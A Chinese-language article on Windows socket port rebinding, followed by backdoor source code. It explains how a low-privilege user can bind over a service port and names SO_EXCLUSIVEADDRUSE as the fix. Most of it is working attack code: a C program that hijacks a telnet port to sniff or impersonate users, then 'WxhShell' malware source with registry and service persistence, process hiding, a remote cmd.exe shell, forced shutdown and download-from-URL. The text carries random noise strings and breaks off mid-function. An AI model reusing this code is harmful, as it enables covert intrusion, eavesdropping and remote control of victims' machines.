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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1-Wnc'(OK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~PS2[5yo mLxwJ saddr.sin_family = AF_INET; r@@eC[' %[bO\, saddr.sin_addr.s_addr = htonl(INADDR_ANY); }zfLm`vJ yOCcp+`T} bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4`5Qt=} pfn#~gC_= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =x.v*W]F` ([XyW{=h! 这意味着什么?意味着可以进行如下的攻击: "62Ysapq+ Go+,jT- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $v}8lBCr3 ThqfZl=V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a!J ow?( L4A/7Ep 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +q,n}@y= /dvnQW4}8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 &+r
;> `GN5QLg#}0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GHsdLe=t0# !vo '8r?& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ][K8\ &8YI)G% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U@t?jTMBkO VEYKrZA #include uB&I56 #include cS ;=_%~ #include &/#Tk>: #include i^V4N4ux] DWORD WINAPI ClientThread(LPVOID lpParam); '*{Rn7B5 int main() u9~V2>r\ { s1b\I6&:J WORD wVersionRequested; -N!soJ< DWORD ret; `&Of82*w WSADATA wsaData; aKU8"
5 BOOL val; cM'[;u SOCKADDR_IN saddr; RknSWuFKt SOCKADDR_IN scaddr; Gqz)=' int err; J<:D~@qq SOCKET s; Sw9mrhzJfe SOCKET sc; G;#t6bk int caddsize; IhKas4 HANDLE mt; +z?f,`.* DWORD tid; .$}zw|,q wVersionRequested = MAKEWORD( 2, 2 ); FZ.Yn err = WSAStartup( wVersionRequested, &wsaData ); L5|;VH if ( err != 0 ) { SE-, 1p printf("error!WSAStartup failed!\n"); Kz2^f@5=F return -1; bzL;)H4Eo } ,?N_67 saddr.sin_family = AF_INET; V`&*%xgGR FbNQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^WYG?/{4 EjCzou saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2
]6u
Be saddr.sin_port = htons(23); 2X|jq4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .B-,GD} { 0+`*8G) printf("error!socket failed!\n"); !F s)"? return -1; 91Sb=9 } <u%e* val = TRUE; [B;Ek\ 5W //SO_REUSEADDR选项就是可以实现端口重绑定的 Ox1QP2t6Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8n
p>#V { lSv;wwEg printf("error!setsockopt failed!\n"); n{NgtH\V return -1; @{GxQzo } Gkvd{G?F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q6<Uuiw //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %iFIY=W //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T{xo_u{Q
0
9'o if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (zODV4,5k` { |y=F (6Z ret=GetLastError(); wq`Kyhk printf("error!bind failed!\n"); `D4'`Or-U return -1; h/~BUg' } d'nuk#r listen(s,2); n&&U9sf? while(1) 6? ly.h$ { #EK8Qe_ caddsize = sizeof(scaddr); X51$5% //接受连接请求 Fd.d( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PS;*N8 if(sc!=INVALID_SOCKET) dV*rnpN { 3sIM7WD? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jJC((1| if(mt==NULL) 9rc
n*sm { AdW7 vn printf("Thread Creat Failed!\n"); |W];v@b\y break; qnV9TeU) } L 'Rapu } RIx6& 7$ CloseHandle(mt); PX/0 jv } -{mq\GvGn closesocket(s); ZO$T/GE6% WSACleanup(); >&z+ih return 0; =x]dP. } rs+37 DWORD WINAPI ClientThread(LPVOID lpParam) 1D DOUV
{ 8Y'"=!3 SOCKET ss = (SOCKET)lpParam; cYS+XBz SOCKET sc; eR;0pWVl unsigned char buf[4096]; ?MB nnyo6 SOCKADDR_IN saddr; sUMn
(@r long num; ^C
T}i' DWORD val; 8nR,GW\ DWORD ret; P$(}}@ //如果是隐藏端口应用的话,可以在此处加一些判断 a}hM}U! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 {627*6, saddr.sin_family = AF_INET; z9w.=[Io saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xK 'IsMo[ saddr.sin_port = htons(23); 2a-hf|b1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =LA@E&,j { #E)]7!_XG printf("error!socket failed!\n"); 3&:fS|L~c return -1; y5h[^K3 } oPZ4}>uV val = 100; y Dw!u[: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sRnMBW. { X.|0E87 ret = GetLastError(); essW,2,rjC return -1; 8
\Oiv$r } 4tWI)}+ak if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H4jqF~ { 4/_|Qy ret = GetLastError(); $Bb/GXn{\ return -1; _gh7_P^H=d } 3/05ee;| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Bk<P~-I { *h9vMks
o printf("error!socket connect failed!\n"); s50ln&2 closesocket(sc); }C}_
I:=C closesocket(ss); UlytxWkUX return -1; >^N:A } `;@4f|N9 while(1) PD4E&k { JnJz{(c
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KYN{iaj //如果是嗅探内容的话,可以再此处进行内容分析和记录 }FVX5/.' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g7i6Yj1 num = recv(ss,buf,4096,0); l0)uu4| if(num>0) #m>mYp8E.5 send(sc,buf,num,0); q5PYc.E([ else if(num==0) \>k+Oyj break; 7i/Cax num = recv(sc,buf,4096,0); c
@R6p+ if(num>0) Fwqf4&/ send(ss,buf,num,0); 9f`Pi:*+/ else if(num==0) q#Vf2U55m break; O!tD1^O!1} } :_ox8xS4 closesocket(ss); lsCh K closesocket(sc); ,pzCJ@5 return 0 ; *Cw2 h } SGm?"esEt 9_{!nQC.g [DwB7l)O( ========================================================== g (k|"g`* RUKSGj_NJ 下边附上一个代码,,WXhSHELL ^EOjq -&}E:zoe
========================================================== OFv} jT lfP|+=^B
#include "stdafx.h" HxaUVg0 z^.0eP8\j #include <stdio.h> y
rk#)@/m #include <string.h> flqTx)xE #include <windows.h> #C^m>o~R #include <winsock2.h> Q
# gHD #include <winsvc.h> (i8t^ #include <urlmon.h> %3j5Q )VC) } #pragma comment (lib, "Ws2_32.lib") k7*q.2 0 #pragma comment (lib, "urlmon.lib") $'q(Z@ QL#y)G53Q #define MAX_USER 100 // 最大客户端连接数 cx}-tj"m- #define BUF_SOCK 200 // sock buffer \ 714 Pyy #define KEY_BUFF 255 // 输入 buffer LNkyV*TI nmr>Aj8[ #define REBOOT 0 // 重启 "f_Z.6WMY #define SHUTDOWN 1 // 关机 a2TC, }|,y`ui\ #define DEF_PORT 5000 // 监听端口 cht#~d ZtVa*xl #define REG_LEN 16 // 注册表键长度 O;2 u1p'iP #define SVC_LEN 80 // NT服务名长度 b3+PC$z2h 3QpTO, // 从dll定义API tS$Ne7yk e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4KCxhJq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +Sfv.6~v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e=2D^G#qE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F*f)Dv$p q@:&^CS // wxhshell配置信息 LxT ]- struct WSCFG { YVT^}7# int ws_port; // 监听端口 n>WS@b/o char ws_passstr[REG_LEN]; // 口令 XJ;/kR int ws_autoins; // 安装标记, 1=yes 0=no h.*|4; char ws_regname[REG_LEN]; // 注册表键名 (agdgy:# char ws_svcname[REG_LEN]; // 服务名 .FU EF) char ws_svcdisp[SVC_LEN]; // 服务显示名 ;/@R{G{+~; char ws_svcdesc[SVC_LEN]; // 服务描述信息 2olim1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rAKdf?? int ws_downexe; // 下载执行标记, 1=yes 0=no I1gu<a char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }wVrmDh \ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;Peyo1 '&d4x c }; Y~R wsx %[J( ,rm // default Wxhshell configuration |{
kB` struct WSCFG wscfg={DEF_PORT, iwbjjQPr "xuhuanlingzhe", V~;YV]1Y 1, S4w/
kml3 "Wxhshell", \
(,2^T'$J "Wxhshell", H<
j+-u4b "WxhShell Service", t(Uoi~#[ "Wrsky Windows CmdShell Service", &+v&Dd& "Please Input Your Password: ", +-hmITJv 1, Fr~xN!
" http://www.wrsky.com/wxhshell.exe", DjIs"5Iei "Wxhshell.exe" x>^S..K}L% }; Gsb]e 8/:\iPk0 // 消息定义模块 Q*I/mUP&f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "q$M\jK#V char *msg_ws_prompt="\n\r? for help\n\r#>"; X_lNnk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; nB.p}k char *msg_ws_ext="\n\rExit."; $IHa]9 { char *msg_ws_end="\n\rQuit."; {#vo^& B char *msg_ws_boot="\n\rReboot..."; (I$hw"%& char *msg_ws_poff="\n\rShutdown..."; AF@C9s char *msg_ws_down="\n\rSave to "; _PIk,!< tVO x char *msg_ws_err="\n\rErr!"; W>~V?%F&' char *msg_ws_ok="\n\rOK!"; 4P8:aZM y;;@T X char ExeFile[MAX_PATH]; .eE5pyw+C int nUser = 0; $)U
RY~;i HANDLE handles[MAX_USER]; gnQd#` int OsIsNt; 4t":WutC 1 !sYd@iD@ SERVICE_STATUS serviceStatus; Yr+&|;DB SERVICE_STATUS_HANDLE hServiceStatusHandle; /=N`P &R# ,0~=9dR // 函数声明 y.zW>Mfl int Install(void); {}z7N~ int Uninstall(void); r*
U6govky int DownloadFile(char *sURL, SOCKET wsh); PJ'l:IU int Boot(int flag); B4kIcHA void HideProc(void); +mJAIjH int GetOsVer(void); YW*ti|u|w int Wxhshell(SOCKET wsl); C
RNO4 void TalkWithClient(void *cs); 99`xY$ int CmdShell(SOCKET sock); c0@v`-9 int StartFromService(void); 344- ~i* int StartWxhshell(LPSTR lpCmdLine); Px<;-H` %\A~w3 E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?1YK-T@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q8_d]V=X: BsJClKp/ // 数据结构和表定义 uZfo[_g0S SERVICE_TABLE_ENTRY DispatchTable[] = j0J6ySlY { aePk^?KbB {wscfg.ws_svcname, NTServiceMain}, k@?<Aw8_X {NULL, NULL} :0J;^@ }; [Mx+t3M O?@AnkOhn // 自我安装 s^cHR1^ int Install(void) [8ih-k { ;yr'K char svExeFile[MAX_PATH]; "zugnim HKEY key; ?n}L+| strcpy(svExeFile,ExeFile); %NvY~, BwR)--75 // 如果是win9x系统,修改注册表设为自启动 CGQ`i if(!OsIsNt) { NOvN8.K% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k3&Wv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \n}cx~j RegCloseKey(key); [,VD^\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gD-<^Q- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xu3qX" RegCloseKey(key); Ra/S46$ return 0; Ta_#Rg*! } =7a9~&| } sPut@4[S } Lx.X#n.]T else { ~MOIrF -0Ps.B // 如果是NT以上系统,安装为系统服务 '2eggX% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O[!]/qP+. if (schSCManager!=0) 4g|}]K1s { FbF P SC_HANDLE schService = CreateService e7-U0rrE ( $aEL>,X schSCManager, \]zHM.E1 wscfg.ws_svcname, T{Av[>M wscfg.ws_svcdisp, LBTf}T\ SERVICE_ALL_ACCESS, iNcB6,++ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _k&vW(O=: SERVICE_AUTO_START, :AL
nm0d SERVICE_ERROR_NORMAL, O9bIo]B svExeFile, Pwf":U) NULL, "5=Gu1 NULL, ^]K_k7`I NULL, ,#nyEE NULL, 5-*/wKjLz NULL q.*k
J/L ); _G@)Bj^* if (schService!=0) 3:s!0ty" { G22u+ua CloseServiceHandle(schService); O.i.<VD7 CloseServiceHandle(schSCManager); C1hp2CW$5/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0`:0m/fsU strcat(svExeFile,wscfg.ws_svcname); NbH;@R)L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !IcPO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X-=49) RegCloseKey(key); fTMn return 0; EW]rD } U 1vZr{\ } b:2#3;) CloseServiceHandle(schSCManager); A|7%j0T } n&Bgpt~ } /C}u,dBf BKi@c\Wb return 1; eot%Th?[ } }Ge$?ZFH RGsgT ^ // 自我卸载 \Cx2$<8 int Uninstall(void) 3v\}4)A[ { 0
*2^joUv HKEY key; xcty <m'W{n%Pp if(!OsIsNt) { |cs]98FEf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9!;/+P RegDeleteValue(key,wscfg.ws_regname); @P@?KZ..v! RegCloseKey(key); G
.NGS%v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -e(e;e RegDeleteValue(key,wscfg.ws_regname); yhc}*BMZ RegCloseKey(key); *mby fu0q return 0; 508v:?^' } <- L}N ' } ~wvu7 } ^M0 else { ]jjHIFX f3^Anaa]l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *PM#ngLX}r if (schSCManager!=0) f?W_/daP { 4
Fl>XM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WUrE1%u if (schService!=0) t^
Ge " { !Ah v07SI if(DeleteService(schService)!=0) { )V d^#p CloseServiceHandle(schService); LGB}:;$AL CloseServiceHandle(schSCManager); c^3,e/H return 0; iSbPOC7 } - ({h @ CloseServiceHandle(schService); !y+uQ_IS@ } x n?$@ CloseServiceHandle(schSCManager); >jz9o9?8 } *+(rQ";x } %tB7 &%ut 2ca#@??R return 1; `3g5n:"g\ } }k;wSp[3 FRa>cf4 // 从指定url下载文件 B`|f"+. int DownloadFile(char *sURL, SOCKET wsh) |P@N}P@ { f*}}Az.4 HRESULT hr; "%lIB{ char seps[]= "/"; xqs ,4bcbY char *token; ox*1F+Xri char *file; .J<t] char myURL[MAX_PATH]; uP G\1 char myFILE[MAX_PATH]; ml@;ngmp. `J]e.K strcpy(myURL,sURL); u8.F_'` z token=strtok(myURL,seps); _AzI\8m while(token!=NULL) 'Fy"|M;2 { (\ge7sE-oo file=token; t0,=U8]w token=strtok(NULL,seps); AXF
1{ } /% g+|C bmu] zJ GetCurrentDirectory(MAX_PATH,myFILE); p]0`rf!| strcat(myFILE, "\\"); JkhW LQ>o strcat(myFILE, file); LTxP@pr send(wsh,myFILE,strlen(myFILE),0); ^hXm=r4ozR send(wsh,"...",3,0); KRz~3yH{c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wx^Det if(hr==S_OK) hC[=e`j return 0; kDol 1v` else
E;}&2 a return 1; u@1 2:U$ 9 ,:#Q<UM } k@
<dru -L+kt_> // 系统电源模块 ,OWk[0/ int Boot(int flag) VCfHm"'E8 { -0UR%R7q HANDLE hToken; .fbY2b([ TOKEN_PRIVILEGES tkp; :s6aFiz A
0v=7
] if(OsIsNt) {
9u^M{6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )X?oBNsj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FRuPv6 tkp.PrivilegeCount = 1; {CV+1kz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r4pX47H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 58XZ]Mc0 if(flag==REBOOT) { " i:[|7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q>Di|5<y return 0; 3m= _a } 1Y87_o'd else { u?"="-^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e8rZP(g&g return 0; <pfl>Uf } +: x[cK } EjL]#,QR else { D6Au)1y=& if(flag==REBOOT) { .u>[m. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D%~tU70a return 0; 7mq&]4-G } .<zKBv else { d\uN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =WjHf8v; return 0; LD ]-IX&L } }/dk2!?ig } t5%cpkgh4 ("\{=XAQ return 1; s]%Cz \ } f[1cN`|z E/g"}yR // win9x进程隐藏模块 q[_qZ void HideProc(void) yfK}1mx)j { VxBBZsZO~ ;+<IWDo HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jB(+9?;1${ if ( hKernel != NULL ) A+="0{P { -Y@tx fu- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9Q=VRH: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @oE
5JM FreeLibrary(hKernel); O`c+y } RI@\cJ\} T/\RViG3 return; Vx(*OQ } /1MmOB "aOs#4N // 获取操作系统版本 0K[]UU=P= int GetOsVer(void) BbI%tmA7 { b%0p<*:a/ OSVERSIONINFO winfo; 2uOYuM[7gH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (oi:lC@h* GetVersionEx(&winfo); h{gFqkDoTI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \rFS^# return 1; ]:OrGD" else B~w$j/sWU return 0; ,U3 } N$6e KJ] I)rO| // 客户端句柄模块 ;.V/ngaj int Wxhshell(SOCKET wsl) .JPN '; { IplOXD SOCKET wsh; 3Do0?~n struct sockaddr_in client; >x{("``D0y DWORD myID; B W<Dmn f^FFn32u while(nUser<MAX_USER) 7pm'b,J< { "iA0hA int nSize=sizeof(client); ?qNU*d wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d.FU))lmD if(wsh==INVALID_SOCKET) return 1; $AZYY\1 g}NO$?ndg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %"0, o$ if(handles[nUser]==0) "E(i< closesocket(wsh); o/w3b8 else 6;Z-Y>\c nUser++; umIGI } bZ\R0[0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s0/O/G? _ocCt XI9 return 0; 23wztEp{a } qD{1X25O 1uAjy(y // 关闭 socket +nE>)ZH void CloseIt(SOCKET wsh) _#u\ar) { wb0$FZzh closesocket(wsh); A`n>9|R nUser--; n9'3~qVZ ExitThread(0); a_RY Yj } riDb!oC 17 Ugz? // 客户端请求句柄 4rU/2}.q void TalkWithClient(void *cs) hq
3n&/ { Nap[=[rv vN Bg&m SOCKET wsh=(SOCKET)cs; |NuMDVd+s char pwd[SVC_LEN]; ~[HzGm% char cmd[KEY_BUFF]; C|V7ZL>W char chr[1]; ;Z]Wj9iY int i,j; ij
?7MP r{;NGQYs while (nUser < MAX_USER) { yp#!$+a} PMfW;%I. if(wscfg.ws_passstr) { 4yyw:" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ib=)N)l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dh8ECy5k<* //ZeroMemory(pwd,KEY_BUFF); (`1io i=0; G-d7}Uz? while(i<SVC_LEN) { hzo> :U G?s9c0f // 设置超时 o;$xN3f, fd_set FdRead; 'JOUx_@z struct timeval TimeOut; ;7'O=% FD_ZERO(&FdRead); $Zu?Gd? FD_SET(wsh,&FdRead); +V4)>< TimeOut.tv_sec=8; #*o0n>O TimeOut.tv_usec=0; UxGu1a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o-\h;aQJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^%r6+ey J$#T_4 ) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 24 [KGp pwd =chr[0]; YO$Ig:a# if(chr[0]==0xd || chr[0]==0xa) { /eV)5`V pwd=0; V$?6%\M^* break; W/qXQORv } L7$f01* i++; /j~~S'sw } AY /9Io- .KrLvic // 如果是非法用户,关闭 socket 2:38CdkYp if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B[N]=V } ZSuoD$~k[ .C'\U[A{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "^#O7.oVi+ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B!wN%>U 8,U~ p<Gz while(1) { !D=! 8 0tA5AP ZeroMemory(cmd,KEY_BUFF); sY;h~a0n Uu_qy(4 // 自动支持客户端 telnet标准 vNSUrf,r j=0; c,a8#Og while(j<KEY_BUFF) { Z)7{~xq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GHsDZ(d3. cmd[j]=chr[0]; s<!A<+Sh if(chr[0]==0xa || chr[0]==0xd) { JWNN5#=fQ cmd[j]=0; WZ'<iI break; >V"{]v } 9<gW~
s> j++; //&3{B } c8&3IzZ ?MH=8Cl1w // 下载文件 `i`P}W!F if(strstr(cmd,"http://")) { w|f+OlPXq send(wsh,msg_ws_down,strlen(msg_ws_down),0); "S;4hO if(DownloadFile(cmd,wsh)) j9fBl:Fr send(wsh,msg_ws_err,strlen(msg_ws_err),0); nt2b}u>* else I):c# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?/.])'&b } m6i ,xn else { {y"Kn'1 QNbZ) switch(cmd[0]) { Nw"df=,{ ;P S4@, // 帮助 2 5~Z%_? case '?': { /nO_e send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vh0cac|X break; -5*OSA:8x } U^_\V BAk // 安装 bc(MN8b ]j case 'i': { -C2!`/U if(Install())
#w; "s* send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Racu;xf else 3eUi9_s+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 02,t break; >#h,q|B } -8)Hulo/{U // 卸载 ef'kG"1 case 'r': { [[[C`H@ if(Uninstall()) e#oK%
{A send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]WMzWt:L else "mn?* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z66Xj-o break; 3HyOQD"{ } LVUA"'6V // 显示 wxhshell 所在路径 `+Nv=vk case 'p': { vd%AV(]<LJ char svExeFile[MAX_PATH]; "nz\YQdg strcpy(svExeFile,"\n\r"); r5gqRh}+ strcat(svExeFile,ExeFile); '-"[>`[q send(wsh,svExeFile,strlen(svExeFile),0); ~7b#BXzP break; oaj.5hM } NnAIL;WS // 重启 E:qh}wY case 'b': { Z(q]rX5" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]a IHd]B if(Boot(REBOOT)) nReIi;pi send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! VT$U6 else { |OLXb+7X closesocket(wsh); "EpH02{i ExitThread(0); XVNJK-B } 3/gR}\= break; +X#6dv$ } m^FKE: // 关机 ?n#$y@U case 'd': { |cd"cx+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W$X/8K bn if(Boot(SHUTDOWN)) Fug4u?-n send(wsh,msg_ws_err,strlen(msg_ws_err),0); X0L\Ewm else { o_}?aI~H closesocket(wsh); '9QEG/v ExitThread(0); %e[E@H 7 } #|T"6jJaQ break; jwjLxt } ;HCK iHC // 获取shell -~c-mt case 's': { Q&0`(okb CmdShell(wsh); m$C1Ea-wnT closesocket(wsh); </kuJh\ ExitThread(0); ;39b.v\^ break; Hya.OW{ } |fyzb=Lg // 退出 )@9Eq|jMC case 'x': { " O
r1 fC send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h1?xfdvGd CloseIt(wsh); 8Dl(zY K; break; 1BmKwux: } f:46.)Wj< // 离开 [4xZy5V case 'q': { (Q*x"G#4> send(wsh,msg_ws_end,strlen(msg_ws_end),0); V0D&bN* closesocket(wsh); 8Vz!zYl WSACleanup(); @_t=0Rc exit(1); FI: H/e5[ break; 4"|3pMr } T}{zh } y_>DszRN`u } $hc=H &bq1n_ // 提示信息 i\;ZEM{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y'000#+ } :ek^M ( } $S' TW3 [^GBg>k return; sCJ|U6Q- } ;1yF[<a ,~,q0PA7J // shell模块句柄 !\| int CmdShell(SOCKET sock) r]-n, { Ae=JG8Ht~ STARTUPINFO si; hlreeXv ZeroMemory(&si,sizeof(si)); 7Cp/{l;d si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]["%e9#aX si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {k=3OIp PROCESS_INFORMATION ProcessInfo; KaMg[G char cmdline[]="cmd"; p*<I_QM! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4r83;3WXs return 0; P0; y } X2I_,k'fQ EZ>(} // 自身启动模式 0t7)x8c int StartFromService(void) (`slC~" { =RXeN+
&R typedef struct 6|'7Mr~\ { ;o)'dK DWORD ExitStatus; s]e`q4ip DWORD PebBaseAddress; 8pf]M& DWORD AffinityMask; gFuK/]gzI DWORD BasePriority; QxPPgn7' ULONG UniqueProcessId; VOC$Kqg; ULONG InheritedFromUniqueProcessId; Kg~D~
+j } PROCESS_BASIC_INFORMATION; Qu Mv1)n G>:v1lde PROCNTQSIP NtQueryInformationProcess; uX!6:v] iVnMn1h static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *jQ$\|Y static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <V}q8k BPkL3Ev1V HANDLE hProcess; -rYb{<;ST PROCESS_BASIC_INFORMATION pbi; L<oQKe7Q: T~$Eh6
